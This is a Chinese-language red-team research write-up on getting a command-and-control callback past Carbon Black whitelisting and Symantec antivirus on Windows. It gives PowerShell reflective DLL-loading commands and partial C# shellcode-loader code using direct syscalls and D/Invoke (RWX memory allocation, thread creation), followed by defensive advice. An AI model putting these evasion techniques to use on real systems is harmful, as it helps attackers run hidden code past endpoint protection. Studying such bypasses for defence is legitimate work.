Symantec + EDR 极端白名单策略下的 C&C Bypass 研究
字数 2023 2025-08-05 12:50:33
Symantec + EDR 极端白名单策略下的 C&C Bypass 研究教学文档
1. 研究背景与测试环境
1.1 研究背景
本研究探讨在安装有Symantec AntiVirus和VMware Carbon Black EDR(采用极端白名单策略)的Windows环境下,如何绕过限制上线C&C服务器。Carbon Black Application Whitelisting System是一种安全技术,只允许预先批准的软件运行,阻止未授权应用程序执行。
1.2 测试环境
- EDR:VMware Carbon Black(原Bit9 Application Whitelisting System)
- AV:Symantec
- 权限:普通用户权限,受UAC保护
- 拦截表现:未批准程序执行会弹窗告警"Bit9 Agent User Notification"
2. 绕过尝试与结果分析
2.1 直接执行方法
| 方法 | 结果 | 拦截表现 |
|---|---|---|
| 直接运行exe | 拦截 | 提示explorer.exe运行未获批准的exe文件 |
| 运行.com/.scr/.cpl等 | 拦截 | 所有可执行文件后缀均被拦截 |
| PowerShell/bat脚本调用exe | 拦截 | 应用程序白名单系统拦截脚本执行 |
| Rundll32调用exe | 拦截 | 警告rundll32.exe拉起未经批准文件 |
| Rundll32调用dll | 拦截 | 白名单限制所有可执行文件后缀 |
| 白加黑调用dll | 拦截 | UAC机制要求输入密码 |
2.2 成功绕过方法
方法1:PowerShell反射加载合法DLL
Add-Type -Path "合法数学运算dll.dll"
[Math.Methods]::CompareI(1, 2)
原理:利用.NET Framework的反射机制加载看似合法的DLL,执行无害函数
方法2:PowerShell + Dll Loader嵌套加载
- 创建合法DLL加载器(Program.dll)
- 通过反射加载:
[void][System.Reflection.Assembly]::UnsafeLoadFrom("Program.dll")
[Math.methods]::loaddll()
注意:虽然Program.dll未被拦截,但恶意dll仍会被检测
方法3:PowerShell反射加载C# ShellcodeLoader DLL
完整流程:
- 生成C#格式shellcode并硬编码
- 将ShellcodeLoader编译为DLL
- 通过PowerShell反射加载:
[void][System.Reflection.Assembly]::UnsafeLoadFrom("SysCall_ShellcodeLoad.dll")
[SysCall_ShellcodeLoad.Loader]::Execute()
3. 关键技术原理分析
3.1 PowerShell反射调用DLL绕过原理
-
执行上下文差异:
- 直接调用被视为可疑行为
- Reflection.Assembly被视为正常.NET程序行为
-
安全策略差异:
- 对命令行工具严格监控
- 对.NET应用程序内部动态加载行为较宽松
-
信任级别:
- .NET应用程序被视为更可信
3.2 SysCall_ShellcodeLoad技术
核心组件:
- Auto_NativeCode.cs
- Program.cs
关键步骤:
- 获取系统调用号:
public static uint GetSyscallID(string SysFunName) {
IntPtr hModule = GetModuleHandle("ntdll.dll");
IntPtr FunAddr = GetProcAddress(hModule, SysFunName);
IntPtr CallAddr = FunAddr + 4;
// 读取Syscall ID
}
- 动态执行系统调用:
byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray();
fixed (byte* ptr = sysfinal) {
VirtualProtectEx(...);
// 将字节数组转换为函数指针并执行
}
- 内存分配与执行:
uint ntAllocResult = Auto_NativeCode.NtAllocateVirtualMemory(...);
Marshal.Copy(buf1, 0, pMemoryAllocation, buf1.Length);
uint hThreadResult = Auto_NativeCode.NtCreateThreadEx(...);
3.3 D/Invoke_shellcodeload技术
核心组件:
- DInvokeFunctions.cs
- Program.cs
关键步骤:
- 获取模块和函数地址:
public static IntPtr GetLoadedModuleAddress(string DLLName) {
foreach (ProcessModule Mod in ProcModules) {
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower())) {
return Mod.BaseAddress;
}
}
}
- D/Invoke调用流程:
// 获取函数地址
func_ptr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "VirtualAlloc");
// 转换为委托
DELEGATES.VirtualAllocRx VirtualAllocRx = Marshal.GetDelegateForFunctionPointer(...);
// 调用函数
IntPtr rMemAddress = VirtualAllocRx(0, (uint)codepent.Length, 0x1000 | 0x2000, 0x40);
- 线程创建与执行:
Marshal.Copy(codepent, 0, rMemAddress, codepent.Length);
func_ptr = DInvokeFunctions.GetLibraryAddress("kernel32.dll", "CreateThread");
hThread = CreateThreadRx(0, 0, rMemAddress, pinfo, 0, ref threadId);
4. 两种技术对比
| 特性 | SysCall方式 | D/Invoke方式 |
|---|---|---|
| 调用层次 | 直接系统调用 | API层动态调用 |
| 隐蔽性 | 极高 | 高 |
| 实现复杂度 | 高(需内核知识) | 中(需PE结构知识) |
| 检测难度 | 极难检测 | 较难检测 |
| 适用场景 | 高隐蔽需求 | 多API调用需求 |
5. 防御建议
5.1 企业防御措施
-
多层次监控:
- 结合EDR、AV、网络监控
- 特别关注PowerShell异常行为
-
增强策略:
- 限制System.Reflection.Assembly使用
- 监控非常规DLL加载行为
-
其他措施:
- 定期安全审计
- 员工安全意识培训
- 漏洞评估与管理
5.2 检测建议
- 监控异常PowerShell活动
- 检测非常规DLL加载模式
- 分析.NET应用程序异常行为
- 建立Syscall调用基线
6. 参考资源
- SysCall_ShellcodeLoad_Csharp
- DInvoke_shellcodeload_CSharp
- D/Invoke技术原理文档
- Syscall技术分析文章
7. 总结
本研究展示了在极端白名单环境下,通过PowerShell反射加载结合SysCall或D/Invoke技术,可以有效绕过Carbon Black和Symantec的组合防护。这为红队提供了有价值的绕过思路,同时也为企业安全建设提供了防御参考,强调了多层次防御的重要性。